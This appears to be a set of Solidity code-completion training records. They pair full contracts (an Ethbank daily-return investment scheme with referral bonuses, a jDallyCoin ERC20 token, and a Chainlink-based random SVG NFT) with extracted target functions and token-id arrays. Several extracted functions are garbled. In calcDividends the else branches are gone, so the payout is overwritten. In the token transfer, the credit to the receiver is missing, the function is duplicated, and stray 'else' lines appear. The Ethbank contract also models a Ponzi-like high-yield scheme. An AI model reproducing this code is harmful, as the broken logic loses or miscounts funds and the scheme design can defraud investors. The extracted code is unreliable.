uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function changeOwner(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
}
}
contract InvestorsStorage is Accessibility {
using SafeMath for uint;
struct Investor {
uint paymentTime;
uint fundDepositType_1;
uint fundDepositType_2;
uint fundDepositType_3;
uint referrerBonus;
uint numberReferral;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
uint fundDeposit = investors[addr].fundDepositType_1.add(investors[addr].fundDepositType_2).add(investors[addr].fundDepositType_3);
return fundDeposit > 0;
}
function investorInfo(address addr) public view returns(uint paymentTime,
uint fundDepositType_1, uint fundDepositType_2, uint fundDepositType_3,
uint referrerBonus, uint numberReferral) {
paymentTime = investors[addr].paymentTime;
fundDepositType_1 = investors[addr].fundDepositType_1;
fundDepositType_2 = investors[addr].fundDepositType_2;
fundDepositType_3 = investors[addr].fundDepositType_3;
referrerBonus = investors[addr].referrerBonus;
numberReferral = investors[addr].numberReferral;
}
function newInvestor(address addr, uint investment, uint paymentTime, uint typeDeposit) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
uint fundDeposit = inv.fundDepositType_1.add(inv.fundDepositType_2).add(inv.fundDepositType_3);
if (fundDeposit != 0 || investment == 0) {
return false;
}
if (typeDeposit < 0 || typeDeposit > 2) {
return false;
}
if (typeDeposit == 0) {
inv.fundDepositType_1 = investment;
} else if (typeDeposit == 1) {
inv.fundDepositType_2 = investment;
} else if (typeDeposit == 2) {
inv.fundDepositType_3 = investment;
}
inv.paymentTime = paymentTime;
size++;
return true;
}
function checkSetZeroFund(address addr, uint currentTime) public onlyOwner {
uint numberDays = currentTime.sub(investors[addr].paymentTime) / 1 days;
if (investors[addr].fundDepositType_1 > 0 && numberDays > 30) {
investors[addr].fundDepositType_1 = 0;
}
if (investors[addr].fundDepositType_2 > 0 && numberDays > 90) {
investors[addr].fundDepositType_2 = 0;
}
if (investors[addr].fundDepositType_3 > 0 && numberDays > 180) {
investors[addr].fundDepositType_3 = 0;
}
}
function addInvestment(address addr, uint investment, uint typeDeposit) public onlyOwner returns (bool) {
if (typeDeposit == 0) {
investors[addr].fundDepositType_1 = investors[addr].fundDepositType_1.add(investment);
} else if (typeDeposit == 1) {
investors[addr].fundDepositType_2 = investors[addr].fundDepositType_2.add(investment);
} else if (typeDeposit == 2) {
investors[addr].fundDepositType_3 = investors[addr].fundDepositType_3.add(investment);
} else if (typeDeposit == 10) {
investors[addr].referrerBonus = investors[addr].referrerBonus.add(investment);
}
return true;
}
function addReferral(address addr) public onlyOwner {
investors[addr].numberReferral++;
}
function getCountReferral(address addr) public view onlyOwner returns (uint) {
return investors[addr].numberReferral;
}
function getReferrerBonus(address addr) public onlyOwner returns (uint) {
uint referrerBonus = investors[addr].referrerBonus;
investors[addr].referrerBonus = 0;
return referrerBonus;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
uint fundDeposit = investors[addr].fundDepositType_1.add(investors[addr].fundDepositType_2).add(investors[addr].fundDepositType_3);
if (fundDeposit == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
}
contract Ethbank is Accessibility {
using Percent for Percent.percent;
using SafeMath for uint;
// easy read for investors
using Address for *;
using Zero for *;
bool public isDemo;
uint public simulateDate;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
// automatically generates getters
uint public constant minInvesment = 10 finney;
address payable public advertisingAddress;
uint public investmentsNumber;
uint public totalEthRaised;
// percents tariff
Percent.percent private m_1_percent = Percent.percent(1,100); // 1/100 *100% = 1%
Percent.percent private m_2_percent = Percent.percent(2,100); // 2/100 *100% = 2%
Percent.percent private m_3_percent = Percent.percent(3,100); // 3/100 *100% = 3%
// percents referal
Percent.percent private m_3_referal_percent = Percent.percent(3,100); // 3/100 *100% = 3%
Percent.percent private m_3_referrer_percent = Percent.percent(3,100); // 3/100 *100% = 3%
Percent.percent private m_5_referal_percent = Percent.percent(5,100); // 5/100 *100% = 5%
Percent.percent private m_4_referrer_percent = Percent.percent(4,100); // 4/100 *100% = 4%
Percent.percent private m_10_referal_percent = Percent.percent(10,100); // 10/100 *100% = 10%
Percent.percent private m_5_referrer_percent = Percent.percent(5,100); // 5/100 *100% = 5%
// percents advertising
Percent.percent private m_advertisingPercent = Percent.percent(10, 100); // 10/100 *100% = 10%
// more events for easy read from blockchain
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint referralBonus);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint typeDeposit);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment, uint typeDeposit);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogPayReferrerBonus(address indexed addr, uint when, uint referrerBonus);
event LogNewInvestor(address indexed addr, uint when, uint typeDeposit);
event LogBalanceChanged(uint when, uint balance);
event ChangeTime(uint256 _newDate, uint256 simulateDate);
modifier balanceChanged {
_;
emit LogBalanceChanged(getCurrentDate(), address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor(address payable _advertisingAddress) public {
advertisingAddress = _advertisingAddress;
m_investors = new InvestorsStorage();
investmentsNumber = 0;
}
function() external payable {
if (msg.value.isZero()) {
getMyDividends();
return;
} else {
doInvest(msg.data.toAddress(), 0);
}
}
function setAdvertisingAddress(address payable addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint paymentTime, bool isReferral,
uint fundDepositType_1, uint fundDepositType_2, uint fundDepositType_3,
uint referrerBonus, uint numberReferral) {
(paymentTime, fundDepositType_1, fundDepositType_2, fundDepositType_3, referrerBonus, numberReferral) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function doInvest(address referrerAddr, uint typeDeposit) public payable notFromContract balanceChanged {
uint investment = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(typeDeposit >= 0 && typeDeposit < 3, "wrong deposit type");
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
m_investors.addReferral(referrerAddr);
uint countReferral = m_investors.getCountReferral(referrerAddr);
uint referrerBonus = 0;
uint referralBonus = 0;
if (countReferral <= 9) {
referrerBonus = m_3_referrer_percent.mmul(investment);
referralBonus = m_3_referal_percent.mmul(investment);
}
if (countReferral > 9 && countReferral <= 29) {
referrerBonus = m_4_referrer_percent.mmul(investment);
referralBonus = m_5_referal_percent.mmul(investment);
}
if (countReferral > 29) {
referrerBonus = m_5_referrer_percent.mmul(investment);
referralBonus = m_10_referal_percent.mmul(investment);
}
assert(m_investors.addInvestment(referrerAddr, referrerBonus, 10)); // add referrer bonus
assert(m_investors.addInvestment(msg.sender, referralBonus, 10)); // add referral bonus
emit LogNewReferral(msg.sender, referrerAddr, getCurrentDate(), referralBonus);
} else {
// commission
advertisingAddress.transfer(m_advertisingPercent.mul(investment));
}
// automatic reinvest - prevent burning dividends
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment = investment.add(dividends);
emit LogAutomaticReinvest(msg.sender, getCurrentDate(), dividends, typeDeposit);
}
if (senderIsInvestor) {
// update existing investor
assert(m_investors.addInvestment(msg.sender, investment, typeDeposit));
assert(m_investors.setPaymentTime(msg.sender, getCurrentDate()));
} else {
// create new investor
assert(m_investors.newInvestor(msg.sender, investment, getCurrentDate(), typeDeposit));
emit LogNewInvestor(msg.sender, getCurrentDate(), typeDeposit);
}
investmentsNumber++;
totalEthRaised = totalEthRaised.add(msg.value);
emit LogNewInvesment(msg.sender, getCurrentDate(), investment, typeDeposit);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint paymentTime,
uint fundDepositType_1, uint fundDepositType_2,
uint fundDepositType_3, uint referrerBonus, uint numberReferral) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(paymentTime, fundDepositType_1, fundDepositType_2, fundDepositType_3, referrerBonus, numberReferral);
}
function getMyDividends() public payable notFromContract balanceChanged {
address payable investor = msg.sender;
require(investor.notZero(), "require not zero address");
uint currentTime = getCurrentDate();
uint receivedEther = msg.value;
require(receivedEther.isZero(), "amount ETH must be 0");
//check if 1 day passed after last payment
require(currentTime.sub(getMemInvestor(investor).paymentTime) > 24 hours, "must pass 24 hours after the investment");
// calculate dividends
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
m_investors.checkSetZeroFund(investor, currentTime);
// update investor payment timestamp
assert(m_investors.setPaymentTime(investor, currentTime));
// transfer dividends to investor
investor.transfer(dividends);
emit LogPayDividends(investor, currentTime, dividends);
}
function getMyReferrerBonus() public notFromContract balanceChanged {
uint referrerBonus = m_investors.getReferrerBonus(msg.sender);
require (referrerBonus.notZero(), "cannot to pay zero referrer bonus");
// transfer referrer bonus to investor
msg.sender.transfer(referrerBonus);
emit LogPayReferrerBonus(msg.sender, getCurrentDate(), referrerBonus);
}
function calcDividends(address investorAddress) internal view returns(uint dividends) {
InvestorsStorage.Investor memory inv = getMemInvestor(investorAddress);
dividends = 0;
uint fundDeposit = inv.fundDepositType_1.add(inv.fundDepositType_2).add(inv.fundDepositType_3);
uint numberDays = getCurrentDate().sub(inv.paymentTime) / 1 days;
// safe gas if dividends will be 0
if (fundDeposit.isZero() || numberDays.isZero()) {
return 0;
}
if (inv.fundDepositType_1 > 0) {
if (numberDays > 30) {
dividends = 30 * m_1_percent.mmul(inv.fundDepositType_1);
dividends = dividends.add(inv.fundDepositType_1);
} else {
dividends = numberDays * m_1_percent.mmul(inv.fundDepositType_1);
}
}
if (inv.fundDepositType_2 > 0) {
if (numberDays > 90) {
dividends = dividends.add(90 * m_2_percent.mmul(inv.fundDepositType_2));
dividends = dividends.add(inv.fundDepositType_2);
} else {
dividends = dividends.add(numberDays * m_2_percent.mmul(inv.fundDepositType_2));
}
}
if (inv.fundDepositType_3 > 0) {
if (numberDays > 180) {
dividends = dividends.add(180 * m_3_percent.mmul(inv.fundDepositType_3));
dividends = dividends.add(inv.fundDepositType_3);
} else {
dividends = dividends.add(numberDays * m_3_percent.mmul(inv.fundDepositType_3));
}
}
}
function getCurrentDate() public view returns (uint) {
if (isDemo) {
return simulateDate;
}
return now;
}
function setSimulateDate(uint256 _newDate) public onlyOwner {
if (isDemo) {
require(_newDate > simulateDate);
emit ChangeTime(_newDate, simulateDate);
simulateDate = _newDate;
}
}
function setDemo() public onlyOwner {
if (investorsNumber() == 0) {
isDemo = true;
}
}
} | safe gas if dividends will be 0 | function calcDividends(address investorAddress) internal view returns(uint dividends) {
InvestorsStorage.Investor memory inv = getMemInvestor(investorAddress);
dividends = 0;
uint fundDeposit = inv.fundDepositType_1.add(inv.fundDepositType_2).add(inv.fundDepositType_3);
uint numberDays = getCurrentDate().sub(inv.paymentTime) / 1 days;
if (fundDeposit.isZero() || numberDays.isZero()) {
return 0;
}
if (inv.fundDepositType_1 > 0) {
if (numberDays > 30) {
dividends = 30 * m_1_percent.mmul(inv.fundDepositType_1);
dividends = dividends.add(inv.fundDepositType_1);
dividends = numberDays * m_1_percent.mmul(inv.fundDepositType_1);
}
}
if (inv.fundDepositType_2 > 0) {
if (numberDays > 90) {
dividends = dividends.add(90 * m_2_percent.mmul(inv.fundDepositType_2));
dividends = dividends.add(inv.fundDepositType_2);
dividends = dividends.add(numberDays * m_2_percent.mmul(inv.fundDepositType_2));
}
}
if (inv.fundDepositType_3 > 0) {
if (numberDays > 180) {
dividends = dividends.add(180 * m_3_percent.mmul(inv.fundDepositType_3));
dividends = dividends.add(inv.fundDepositType_3);
dividends = dividends.add(numberDays * m_3_percent.mmul(inv.fundDepositType_3));
}
}
}
| 12,638,286 | [
1,
4626,
16189,
309,
3739,
350,
5839,
903,
506,
374,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7029,
7244,
350,
5839,
12,
2867,
2198,
395,
280,
1887,
13,
2713,
1476,
1135,
12,
11890,
3739,
350,
5839,
13,
288,
203,
3639,
5454,
395,
1383,
3245,
18,
3605,
395,
280,
3778,
2198,
273,
16998,
3605,
395,
280,
12,
5768,
395,
280,
1887,
1769,
203,
3639,
3739,
350,
5839,
273,
374,
31,
203,
3639,
2254,
284,
1074,
758,
1724,
273,
2198,
18,
74,
1074,
758,
1724,
559,
67,
21,
18,
1289,
12,
5768,
18,
74,
1074,
758,
1724,
559,
67,
22,
2934,
1289,
12,
5768,
18,
74,
1074,
758,
1724,
559,
67,
23,
1769,
203,
3639,
2254,
1300,
9384,
273,
5175,
1626,
7675,
1717,
12,
5768,
18,
9261,
950,
13,
342,
404,
4681,
31,
203,
203,
3639,
309,
261,
74,
1074,
758,
1724,
18,
291,
7170,
1435,
747,
1300,
9384,
18,
291,
7170,
10756,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
5768,
18,
74,
1074,
758,
1724,
559,
67,
21,
405,
374,
13,
288,
203,
5411,
309,
261,
2696,
9384,
405,
5196,
13,
288,
203,
7734,
3739,
350,
5839,
273,
5196,
380,
312,
67,
21,
67,
8849,
18,
7020,
332,
12,
5768,
18,
74,
1074,
758,
1724,
559,
67,
21,
1769,
203,
7734,
3739,
350,
5839,
273,
3739,
350,
5839,
18,
1289,
12,
5768,
18,
74,
1074,
758,
1724,
559,
67,
21,
1769,
203,
7734,
3739,
350,
5839,
273,
1300,
9384,
380,
312,
67,
21,
67,
8849,
18,
7020,
332,
12,
5768,
18,
74,
1074,
758,
1724,
559,
67,
21,
1769,
203,
5411,
289,
203,
2
]
|
pragma solidity ^0.4.23;
contract Token {
mapping(address => uint) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// ERC20 spec required functions
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value; // add value to receiver's balance
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _to, address _from, uint _value) returns (bool success) {
if (balances[_from] >= _value
&& _value > 0
&& allowed[_from][msg.sender] >= _value) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract jDallyCoin is Token {
function() {
//if ether is sent to this address, send it back.
throw;
}
// declaration of constants
string public name;
string public symbol;
uint8 public decimals;
// main constructor for setting token properties/balances
function jDallyCoin(
) {
totalSupply = 2130000000000000000000000;
balances[msg.sender] = 2130000000000000000000000;
name = "jDallyCoin";
decimals = 18;
symbol = "JDC";
}
} | ERC20 spec required functions | contract Token {
mapping(address => uint) balances;
mapping (address => mapping (address => uint256)) allowed;
uint public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
Transfer(msg.sender, _to, _value);
return true;
return false;
}
}
function transfer(address _to, uint _value) public returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
Transfer(msg.sender, _to, _value);
return true;
return false;
}
}
} else {
function transferFrom(address _to, address _from, uint _value) returns (bool success) {
if (balances[_from] >= _value
&& _value > 0
&& allowed[_from][msg.sender] >= _value) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
return false;
}
}
function transferFrom(address _to, address _from, uint _value) returns (bool success) {
if (balances[_from] >= _value
&& _value > 0
&& allowed[_from][msg.sender] >= _value) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
return false;
}
}
} else {
}
| 14,376,773 | [
1,
654,
39,
3462,
857,
1931,
4186,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
3155,
288,
203,
203,
202,
6770,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
202,
6770,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
2935,
31,
203,
202,
11890,
1071,
2078,
3088,
1283,
31,
203,
202,
203,
202,
2575,
12279,
12,
2867,
8808,
389,
2080,
16,
1758,
8808,
389,
869,
16,
2254,
5034,
389,
1132,
1769,
203,
202,
2575,
1716,
685,
1125,
12,
2867,
8808,
389,
8443,
16,
1758,
8808,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
1769,
203,
202,
203,
202,
203,
202,
203,
202,
915,
2078,
3088,
1283,
1435,
5381,
1135,
261,
11890,
5034,
14467,
13,
2618,
203,
202,
915,
11013,
951,
12,
2867,
389,
8443,
13,
5381,
1135,
261,
11890,
11013,
13,
288,
203,
3639,
327,
324,
26488,
63,
67,
8443,
15533,
203,
565,
289,
203,
202,
203,
202,
915,
1699,
1359,
12,
2867,
389,
8443,
16,
1758,
389,
87,
1302,
264,
13,
5381,
1135,
261,
11890,
5034,
4463,
13,
288,
203,
1377,
327,
2935,
63,
67,
8443,
6362,
67,
87,
1302,
264,
15533,
203,
565,
289,
203,
202,
203,
202,
915,
6617,
537,
12,
2867,
389,
87,
1302,
264,
16,
2254,
389,
1132,
13,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
2935,
63,
3576,
18,
15330,
6362,
67,
87,
1302,
264,
65,
273,
389,
1132,
31,
203,
3639,
1716,
685,
1125,
12,
3576,
18,
15330,
16,
389,
87,
1302,
264,
16,
389,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
202,
203,
202,
915,
7412,
12,
2867,
389,
869,
16,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "base64-sol/base64.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@chainlink/contracts/src/v0.8/ChainlinkClient.sol";
library SVGShapes {
using Strings for string;
// this loops through to generate multiple random numbers from a verifiably random number supplied by the VRF at no additional cost
function expand(uint256 randomValue, uint256 n) public pure returns (uint256[] memory expandedValues) {
expandedValues = new uint256[](n);
for (uint256 i = 0; i < n; i++) {
expandedValues[i] = uint256(keccak256(abi.encode(randomValue, i)));
}
return expandedValues;
}
// this generates the svg code
function generateSVG(uint256 _randomNumber) internal pure returns (string memory finalSVG) {
uint256 numberOfShapes = (_randomNumber % 10) +1;
// opening line of svg imave
finalSVG = string(abi.encodePacked("<svg xmlns='http://www.w3.org/2000/svg' height='", string(Strings.toString(500)), "' width='", string(Strings.toString(500)), "'>"));
// loop through for shapes
for(uint i=0; i < numberOfShapes; i++){
uint256 newRNG = uint256(keccak256(abi.encode(_randomNumber, i)));
string memory pathSvg = generateShape(newRNG);
finalSVG = string(abi.encodePacked(finalSVG, pathSvg));
}
// closing line of svg image
finalSVG = string(abi.encodePacked(finalSVG, "</svg>"));
}
// this generates the shapes of the svg image
function generateShape(uint256 _randomNumber) internal pure returns(string memory pathSvg) {
// clear bath for start of shape
pathSvg = "";
if (_randomNumber % 2 == 0) {
// draw a circle
uint256[] memory circleVars = expand(_randomNumber, 7);
// string of a circle with random position, radius, stroke colour and width, with transparent fill
pathSvg = string(abi.encodePacked(pathSvg, "<circle cx='", string(Strings.toString(circleVars[0] % 500)), "' cy='", string(Strings.toString(circleVars[1] % 500)), "' r='", string(Strings.toString(circleVars[2] % 250)), "' stroke='rgb(", string(Strings.toString(circleVars[3] % 255)), ",", string(Strings.toString(circleVars[4] % 255)), ",", string(Strings.toString(circleVars[5] % 255)), ")' stroke-width='", string(Strings.toString(circleVars[6] % 100)), "' fill='transparent' />"));
} else {
// draw a rectandle
uint256[] memory rectVars = expand((_randomNumber + 1), 7);
// string of a rectangle with random position, size, and fill colour
pathSvg = string(abi.encodePacked(pathSvg, "<rect x='", string(Strings.toString(rectVars[0] % 500)), "' y='", string(Strings.toString(rectVars[1] % 500)), "' width='", string(Strings.toString(rectVars[2] % 250)),"' height='", string(Strings.toString(rectVars[3] % 250)), "' fill='rgb(", string(Strings.toString(rectVars[4] % 255)),",", string(Strings.toString(rectVars[5] % 255)),",", string(Strings.toString(rectVars[6] % 255)), ")' />"));
}
}
}
contract AccidentalART is ChainlinkClient, ERC721URIStorage, VRFConsumerBase {
using Strings for string;
using SVGShapes for string;
using Chainlink for Chainlink.Request;
bytes32 public keyHash;
uint256 public fee;
uint256 public tokenCounter;
address private oracle;
bytes32 private jobId;
mapping(bytes32 => address) public requestIdToSender;
mapping(bytes32 => uint256) public requestIdToTokenId;
mapping(uint256 => uint256) public tokenIdToRandomNumber;
mapping(uint256 => string) public tokenIdToRandomWord;
event requestedRandomSVG(bytes32 indexed requestId, uint256 indexed tokenId);
event CreatedUnfinishedRandomSVG(uint256 indexed tokenId, uint256 randomNumber);
event CreatedRandomSVG(uint256 indexed tokenId, string tokenURI);
constructor(address _VFRCoordinator, address _LinkToken, bytes32 _keyHash, uint256 _fee, address _oracle, bytes16 _jobId)
VRFConsumerBase(_VFRCoordinator, _LinkToken)
ERC721 ("AccidentalART", "aART") {
setChainlinkToken(_LinkToken); // necesarry for non eth chains
fee = _fee;
keyHash = _keyHash;
tokenCounter = 0;
oracle = _oracle;
jobId = _jobId;
}
// this is the frst of the two functions that need to be called by the dapp
function create() public returns (bytes32 requestId) {
requestId = requestRandomness(keyHash, fee);
requestIdToSender[requestId] = msg.sender;
uint256 tokenId = tokenCounter;
requestIdToTokenId[requestId] = tokenId;
requestRandomWord();
tokenCounter = tokenCounter + 1;
emit requestedRandomSVG(requestId, tokenId);
}
// this function requests a random word from an external adapter ran by a node - a mumbai testnet deployment has been provided for the duration of the hackathon judjing period
function requestRandomWord() public returns (bytes32 requestId) {
require(LINK.balanceOf(address(this)) >= fee, "Insufficient LINK");
Chainlink.Request memory request = buildChainlinkRequest(jobId, address(this), this.fulfill.selector);
request.add("path", "data");
return sendChainlinkRequestTo(oracle, request, fee);
}
// this completes the random word request and retrieves the andom word
function fulfill(bytes32 _requestId, bytes32 _word) public recordChainlinkFulfillment(_requestId) {
tokenIdToRandomWord[tokenCounter - 1] = (bytes32ToString(_word));
}
// this function calls chainlink VRF for a random number
function getRandomNumber() public returns (bytes32 requestId) {
require(LINK.balanceOf(address(this)) >= fee, "Insufficient LINK");
return requestRandomness(keyHash, fee);
}
// this completes the random number aquisition from the VRF
function fulfillRandomness(bytes32 _requestId, uint256 _randomNumber) internal override{
address nftOwner = requestIdToSender[_requestId];
uint256 tokenId = requestIdToTokenId[_requestId];
_safeMint(nftOwner, tokenId);
tokenIdToRandomNumber[tokenId] = _randomNumber;
emit CreatedUnfinishedRandomSVG(tokenId, _randomNumber);
}
// this is the second of the two functions that need to be called by the dapp - must be called after random number and word have been generated by a chainlink node
function finishMint (uint256 _tokenId) public {
require(bytes(tokenURI(_tokenId)).length <= 0, "tokenURI already used");
require(tokenCounter > _tokenId, "Awaiting TokenId");
require(tokenIdToRandomNumber[_tokenId] > 0, "Awaiting VRF");
uint256 randomNumber = tokenIdToRandomNumber[_tokenId];
string memory svg = SVGShapes.generateSVG(randomNumber);
string memory imageURI = svgToImageURI(svg);
string memory tokenURI = formatTokenURI(imageURI, tokenIdToRandomWord[_tokenId]);
_setTokenURI(_tokenId, tokenURI);
emit CreatedRandomSVG(_tokenId, svg);
}
// this converts the random word external adapter response from bytes32 to a string for insertion into the NFT
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
while(i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
// this formats the svg code an image URI
function svgToImageURI(string memory _svg) public pure returns (string memory) {
string memory baseURL = "data:image/svg+xml;base64,";
string memory svgBase64Encoded = Base64.encode(bytes(string(abi.encodePacked(_svg))));
string memory imageURI = string(abi.encodePacked(baseURL, svgBase64Encoded));
return imageURI;
}
//this formats the final token URI for the blockchain uising the svg code generated from the random number, and the random word as the name of the NFT
function formatTokenURI(string memory _imageURI, string memory _randomWord) public pure returns (string memory) {
string memory baseURL = "data:application/json;base64,";
return string(abi.encodePacked(
baseURL,
Base64.encode(
bytes(abi.encodePacked(
'{"name": "', _randomWord, '", ',
'"description": "A randomly generated SVG art NFT", ',
'"attributes": "", ',
'"image": "',_imageURI, '"}'
)
))
));
}
